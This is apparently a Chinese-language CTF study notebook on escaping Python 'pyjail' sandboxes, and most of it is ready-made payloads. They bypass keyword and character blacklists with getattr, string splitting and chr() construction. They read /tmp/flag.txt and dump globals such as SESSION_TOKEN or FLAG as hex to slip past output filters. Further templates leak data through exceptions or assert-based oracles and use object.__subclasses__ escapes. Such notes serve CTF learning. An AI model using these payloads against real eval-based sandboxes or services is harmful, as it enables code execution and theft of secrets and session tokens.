misc学习记录

Pyjail

Pyjail1

1
2
3
4
5
6
7
8
9
10
11
def chall():
user_input = input("Give me your code: ")

# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return

result = eval(user_input)

禁用了[‘import’, ‘eval’, ‘exec’, ‘open’, ‘file’]

Payload1:

1
"print(getattr(__builtins__, '__imp'+'ort__')('os').listdir('/tmp'))"

执行系统命令来列出/tmp目录下的文件。

'__imp' + 'ort__' 拼接后形成 '__import__',但代码检查时不会检测到完整的'import'字符串

getattr(__builtins__, '__imp'+'ort__') 的作用是:

  • __builtins__ 是Python的一个内置模块,包含了所有内置函数和变量
  • getattr(object, name) 函数返回对象的命名属性的值
  • 这里我们获取 __builtins__ 模块中的 __import__ 函数

('os') 部分:

  • 调用获取到的 __import__ 函数,参数为 'os'
  • 这相当于执行了 import os,但绕过了对import关键字的直接检查

.listdir('/tmp') 部分:

  • 调用导入的os模块的listdir方法
  • listdir('/tmp') 会列出/tmp目录下的所有文件和文件夹

Payload2:

1
print(getattr(__builtins__, 'o'+'pen')('/tmp/flag.txt').read())

.read() 部分:

  • 调用文件对象的 read 方法
  • 这会读取文件的全部内容,并返回一个字符串

Pyjail2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def chall():
user_input = input("Give me your code: ")

# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return

# 过滤特殊字符
forbidden_chars = ['.', '_', '[', ']', "'", '"']
for char in forbidden_chars:
if char in user_input:
print(f"Forbidden character detected: {char}")
return

result = eval(user_input)

payload

1
print(getattr(getattr(getattr(globals(),chr(103)+chr(101)+chr(116))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)),chr(111)+chr(112)+chr(101)+chr(110))(chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))())
  • 禁止关键字import, eval, exec, open, file
  • 禁止字符., _, [, ], ', "

解题思路

由于直接使用open函数和点号访问属性被禁止,我们需要绕过过滤:

  1. 使用chr()函数通过ASCII码构造字符串,避免使用禁止字符。
  2. 使用getattr()函数通过字符串名称访问属性和方法,避免使用点号。
  3. 通过globals()__builtins__间接获取open函数。
  4. 最终调用open('/tmp/flag.txt').read()读取文件内容,并用print确保输出。

1. exec 多语句类

适用条件

1
2
3
4
5
6
后端类似:
exec(user_input)

可以写多行
可以写 for / if / try
print 有输出

首选模板:变量搜索 + 分段 hex 输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
KEYWORDS = ["FLAG", "flag", "SECRET", "TOKEN", "SESSION"]

print("RESULT_BEGIN")

for name, value in globals().items():
hit = False

for keyword in KEYWORDS:
if keyword.upper() in name.upper():
hit = True
break

if hit:
value = str(value)
print("NAME", name)
for i in range(0, len(value), 4):
part = value[i:i + 4]
print(i, "".join(format(ord(ch), "02x") for ch in part))

print("RESULT_END")

2. eval 单表达式类

适用条件

1
2
3
4
5
6
后端类似:
result = eval(user_input)

只能输入表达式
关键词和特殊字符限制较少
目标变量名已知

首选模板:lambda 单表达式 + 变量名动态构造 + hex 输出

SESSION_TOKEN 为例:

1
(lambda n: print("".join(format(ord(ch), "02x") for ch in str(globals()[n]))))("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))

FLAG 为例:

1
(lambda n: print("".join(format(ord(ch), "02x") for ch in str(globals()[n]))))("".join(chr(x) for x in [70,76,65,71]))

如果 eval 返回值会直接显示

用不带 print 的版本:

1
(lambda n: "".join(format(ord(ch), "02x") for ch in str(globals()[n])))("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))

3. eval + 关键词黑名单类

适用条件

1
2
3
4
5
6
7
8
后端类似:
result = eval(user_input)

禁关键词:
import / eval / exec / open / file

但没有禁:
. _ [ ] 引号

首选模板 A:读已知变量

SESSION_TOKEN 为例:

1
(lambda n: print("".join(format(ord(ch), "02x") for ch in str(globals()[n]))))("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))

首选模板 B:关键词被禁时拆分函数名

适用于 __builtins__ 是模块的环境:

1
print(getattr(__builtins__, "o" + "pen")("/tmp/flag.txt").read())
1
print(getattr(__builtins__, "__imp" + "ort__")("os").listdir("/tmp"))

适用于 __builtins__ 是字典的环境:

1
print(__builtins__["o" + "pen"]("/tmp/flag.txt").read())
1
print(__builtins__["__imp" + "ort__"]("os").listdir("/tmp"))

4. eval + 特殊字符黑名单类

适用条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
后端类似:
result = eval(user_input)

禁字符:
. _ [ ] ' "

但还允许:
chr
getattr
globals
str
map
format
ord
print
lambda

首选模板:chr 构造 + getattr 替代点号 + 单表达式

SESSION_TOKEN 为例:

1
(lambda n:print(getattr(str(),chr(106)+chr(111)+chr(105)+chr(110))(map(lambda c:format(ord(c),chr(48)+chr(50)+chr(120)),str(getattr(globals(),chr(103)+chr(101)+chr(116))(n))))))(chr(83)+chr(69)+chr(83)+chr(83)+chr(73)+chr(79)+chr(78)+chr(95)+chr(84)+chr(79)+chr(75)+chr(69)+chr(78))

模板含义

1
2
3
4
5
chr(95) 构造下划线
chr(...) 构造 SESSION_TOKEN
getattr(globals(), "get") 替代 globals().get
getattr(str(), "join") 替代 "".join
format(ord(c), "02x") 输出十六进制

5. 输出审查类

适用条件

1
2
3
代码能执行
目标能读到
但原文输出被屏蔽、替换、截断

首选模板:分段 hex 输出

已知变量名为 SESSION_TOKEN

1
2
3
4
5
6
7
8
name = "".join(chr(x) for x in [83, 69, 83, 83, 73, 79, 78, 95, 84, 79, 75, 69, 78])
value = str(globals()[name])

print("HEX_BEGIN")
for i in range(0, len(value), 4):
part = value[i:i + 4]
print(i, "".join(format(ord(ch), "02x") for ch in part))
print("HEX_END")

备用输出方式

1
2
3
name = "".join(chr(x) for x in [83, 69, 83, 83, 73, 79, 78, 95, 84, 79, 75, 69, 78])
value = str(globals()[name])
print([ord(ch) for ch in value])

6. print 不回显但异常回显类

适用条件

1
2
print 没有输出
但报错信息会显示

首选模板:异常带出 hex

1
2
3
4
name = "".join(chr(x) for x in [83, 69, 83, 83, 73, 79, 78, 95, 84, 79, 75, 69, 78])
value = str(globals()[name])
encoded = "".join(format(ord(ch), "02x") for ch in value)
raise Exception(encoded)

eval 单表达式版本

1
(lambda n:(_ for _ in ()).throw(Exception("".join(format(ord(ch),"02x") for ch in str(globals()[n])))))("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))

7. 完全无回显类

适用条件

1
2
3
4
print 不显示
eval 返回值不显示
异常内容也不显示
但页面能区分成功 / 失败

首选模板:assert 判断

判断长度:

1
2
3
name = "".join(chr(x) for x in [83, 69, 83, 83, 73, 79, 78, 95, 84, 79, 75, 69, 78])
value = str(globals()[name])
assert len(value) > 20

判断某一位字符:

1
2
3
name = "".join(chr(x) for x in [83, 69, 83, 83, 73, 79, 78, 95, 84, 79, 75, 69, 78])
value = str(globals()[name])
assert ord(value[0]) > 100

eval 单表达式版本

1
(lambda n: 1 if len(str(globals()[n])) > 20 else 1/0)("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))
1
(lambda n: 1 if ord(str(globals()[n])[0]) > 100 else 1/0)("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))

8. AST 白名单类

适用条件

1
2
3
不是简单字符串黑名单
而是 ast.parse 后检查节点类型
只允许部分语法

先测节点

按顺序测试:

1
1+1
1
"a"
1
"a"+"b"
1
len("a")
1
print(1)
1
[x for x in [1]]
1
(lambda x:x)(1)
1
().__class__

9. globals / builtins 被限制类

适用条件

1
2
3
4
5
globals 不可用
locals 不可用
vars 不可用
__builtins__ 被删或不完整
普通模板全失效

首选方向 A:从函数对象找全局环境

如果环境里存在函数对象 f

1
print(f.__globals__)

如果能拿到函数全局环境:

1
print(f.__globals__["__builtins__"])

首选方向 B:从对象模型找可用类

1
2
3
for c in object.__subclasses__():
if "warning" in str(c).lower():
print(c)

首选方向 C:搜索可用类名

1
2
3
4
for c in object.__subclasses__():
name = str(c).lower()
if "file" in name or "warning" in name or "import" in name:
print(c)